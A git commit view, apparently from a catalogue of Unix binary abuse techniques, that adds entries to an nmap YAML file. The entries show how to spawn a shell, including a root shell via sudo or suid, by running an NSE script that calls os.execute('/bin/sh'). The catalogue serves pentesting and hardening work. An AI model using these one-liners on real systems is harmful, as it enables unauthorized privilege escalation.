Add suid, description and YAML fixes to nmap

This commit is contained in:
Andrea Cardaci 2018-08-19 09:52:24 +02:00
parent c20ade4551
commit 7822ec33e8

View File

@ -1,9 +1,18 @@
--- ---
functions: functions:
execute-non-interactive: execute-non-interactive:
- code: echo "os.execute('/bin/sh')" > /tmp/script.nse - description: Echoing of input characters3ers is disabled.
nmap --script=/tmp/script.nse code: |
echo 'os.execute("/bin/sh")' > /tmp/script.nse
nmap --script=/tmp/script.nse
sudo-enabled: sudo-enabled:
- code: echo "os.execute('/bin/sh')" > /tmp/script.nse - description: Echoing of input characters3ers is disabled.
sudo nmap --script=/tmp/script.nse code: |
echo 'os.execute("/bin/sh")' > /tmp/script.nse
sudo nmap --script=/tmp/script.nse
suid-enabled:
- description: Echoing of input characters3ers is disabled.
code: |
echo 'os.execute("/bin/sh -p")' > /tmp/script.nse
./nmap --script=/tmp/script.nse
--- ---